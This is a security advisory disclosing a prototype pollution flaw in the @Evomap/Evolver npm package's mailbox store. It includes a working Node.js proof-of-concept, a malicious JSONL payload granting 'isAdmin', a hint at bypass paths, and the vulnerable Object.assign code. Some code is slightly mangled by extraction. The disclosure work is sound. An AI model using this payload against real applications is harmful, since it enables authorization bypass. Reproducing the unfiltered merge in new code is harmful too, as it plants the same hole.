PT-2026-36650 · Npm · @Evomap/Evolver
Published
2026-04-22
·
Updated
2026-04-22
CVSS v3.1
5.2
Medium
| Vector | AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H |
Summary
A prototype pollution vulnerability in the mailbox store module allows attackers to modify the behavior of all JavaScript objects by injecting malicious properties into
Object.prototype. The vulnerability exists in the applyUpdate() and updateRecord() functions which use Object.assign() to merge user-controlled data without filtering dangerous keys like proto, constructor, or prototype.Details
The vulnerability exists in
src/proxy/mailbox/store.js at lines 123 and 145:javascript
// src/proxy/mailbox/store.js:115-128
applyUpdate(row) {
if (row. op === 'update') {
const existing = this. index[row.id];
// VULNERABLE: Direct Object.assign without key filtering
if (existing) Object.assign(existing, row.fields);
else this. index[row.id] = row.fields;
}
// ...
}
// src/proxy/mailbox/store.js:138-150
updateRecord(id, fields) {
const existing = this. index[id];
// VULNERABLE: Direct Object.assign without key filtering
if (existing) Object.assign(existing, fields);
// ...
}The vulnerability can be triggered when an attacker has the ability to write to the
messages.jsonl file (used for mailbox persistence). By crafting a malicious JSONL entry with proto as a field key, the attacker can pollute the prototype of all objects.The data flows from:
messages.jsonlfile →readLines()function (line 47) →rebuildIndex()(line 113) →applyUpdate()(line 121) →Object.assign()pollutes prototype
PoC
Prerequisites:
- Node.js installed
- Access to write to the mailbox messages file
Steps to reproduce:
- Create a test file demonstrating the vulnerability:
javascript
// test-prototype-pollution.js
const fs = require('fs');
const path = require('path');
// Simulate the vulnerable Store class logic
class VulnerableStore {
constructor(filePath) {
this.filePath = filePath;
this. index = {};
}
load() {
if (!fs.existsSync(this.filePath)) return;
const lines = fs.readFileSync(this.filePath, 'utf8').split('
');
for (const line of lines) {
if (!line.trim()) continue;
try {
const row = JSON.parse(line);
this. applyUpdate(row);
} catch (e) {
// Ignore parse errors
}
}
}
applyUpdate(row) {
if (row. op === 'update') {
const existing = this. index[row.id];
// VULNERABLE: No filtering of dangerous keys
if (existing) Object.assign(existing, row.fields);
else this. index[row.id] = row.fields;
}
}
update(id, fields) {
this. updateRecord(id, fields);
}
updateRecord(id, fields) {
const existing = this. index[id];
// VULNERABLE: No filtering of dangerous keys
if (existing) Object.assign(existing, fields);
else this. index[id] = fields;
}
}
// Test the vulnerability
console.log('=== Testing Prototype Pollution ===
');
// Create a malicious messages.jsonl file
const maliciousContent = JSON.stringify({
op: 'update',
id: 'msg-123',
fields: {
proto : {
polluted: true,
isAdmin: true
},
normalField: 'normalValue'
}
}) + '
';
const testDir = '/tmp/evolver-pollution-test';
if (!fs.existsSync(testDir)) fs.mkdirSync(testDir, { recursive: true });
const testFile = path.join(testDir, 'messages.jsonl');
fs.writeFileSync(testFile, maliciousContent);
console.log('Created malicious messages.jsonl');
// Load the store (this triggers the vulnerability)
const store = new VulnerableStore(testFile);
store.load();
// Check if prototype was polluted
console.log('
=== Checking for prototype pollution ===');
const testObj = {};
console.log('testObj.polluted:', testObj.polluted);
console.log('testObj.isAdmin:', testObj.isAdmin);
if (testObj.polluted === true) {
console.log('
🔴 VULNERABILITY CONFIRMED: Object prototype was polluted!');
console.log('All objects now have "polluted" and "isAdmin" properties.');
} else {
console.log('
🟡 Prototype pollution may require different payload structure');
}
// Demonstrate impact - bypassing authentication check
console.log('
=== Impact Demonstration ===');
function checkAdmin(user) {
// Typical pattern that would be vulnerable
if (user.isAdmin) {
return 'Access granted - Admin privileges';
}
return 'Access denied';
}
const regularUser = { name: 'normal user' };
console.log('Regular user check:', checkAdmin(regularUser));
// Cleanup
fs.rmSync(testDir, { recursive: true });- Run the test:
bash
node test-prototype-pollution.jsExpected output:
=== Checking for prototype pollution ===
testObj.polluted: true
testObj.isAdmin: true
🔴 VULNERABILITY CONFIRMED: Object prototype was polluted!
All objects now have "polluted" and "isAdmin" properties.
=== Impact Demonstration ===
Regular user check: Access granted - Admin privilegesNote: Modern Node.js versions have some prototype pollution protections. For a successful exploit, the attacker might need to use alternative property paths like
constructor.prototype.isAdmin.Attack scenario:
If an attacker can write to the mailbox messages file (e.g., through file upload, path traversal, or compromised backup restore), they can:
jsonl
{" op":"update","id":"malicious","fields":{" proto ":{"isAdmin":true,"canExecuteArbitraryCode":true}}}Impact
This is a Prototype Pollution vulnerability that can lead to:
- Property injection affecting all JavaScript objects
- Authentication/authorization bypass
- Application logic manipulation
- Denial of service via prototype corruption
- Potential remote code execution if polluted properties affect security-critical code paths
Attack requirements: The attacker needs write access to the
messages.jsonl file. This could be achieved through:- File upload vulnerabilities
- Path traversal (combined with the Arbitrary File Write vulnerability in the fetch command)
- Compromised backup files
- Shared hosting environments
Affected users: Anyone using the mailbox functionality in multi-user environments or with persistent message storage.
Fix
Prototype Pollution
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
@Evomap/Evolver